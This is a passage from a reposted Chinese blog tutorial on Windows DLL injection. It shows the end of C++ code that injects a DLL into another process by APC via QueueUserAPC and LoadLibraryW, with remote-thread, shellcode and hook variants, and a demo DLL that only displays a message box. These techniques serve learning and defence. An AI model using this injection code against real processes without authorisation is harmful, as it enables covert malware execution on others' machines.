  304. }
  305. QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中
  306. }
  307. VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
  308. }
  309. }
  310. int main()
  311. {
  312. printf("Inject\n");
  313. CreateRemoteThread_Inject();
  314. //CreateRemoteThread_shellcode();
  315. //SetWindowHookEx_inject();
  316. //APC_Inject();
  317. printf("执行结束\n");
  318. getchar();
  319. return 0;
  320. }

dllmain.cpp

  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include "pch.h"
  3. #include <Windows.h>
  4. //在DLL入口点中调用MessageBoxA
  5. BOOL APIENTRY DllMain( HMODULE hModule,
  6. DWORD ul_reason_for_call,
  7. LPVOID lpReserved
  8. )
  9. {
  10. switch (ul_reason_for_call)
  11. {
  12. case DLL_PROCESS_ATTACH:
  13. MessageBox(NULL, L"Inject", L"注射成功", MB_OK);
  14. break;
  15. case DLL_THREAD_ATTACH:
  16. case DLL_THREAD_DETACH:
  17. case DLL_PROCESS_DETACH:
  18. break;
  19. }
  20. return TRUE;
  21. }
  22. //导出函数
  23. extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){
  24. return CallNextHookEx(NULL, code, wParam, lParam);
  25. }
标签: c++ 安全

本文转载自: https://blog.csdn.net/m0_51762452/article/details/128939325
版权归原作者 晚安靴子 所有, 如有侵权,请联系我们删除。

“Windows 动态注入(远程线程、消息钩子、APC)”的评论:

还没有评论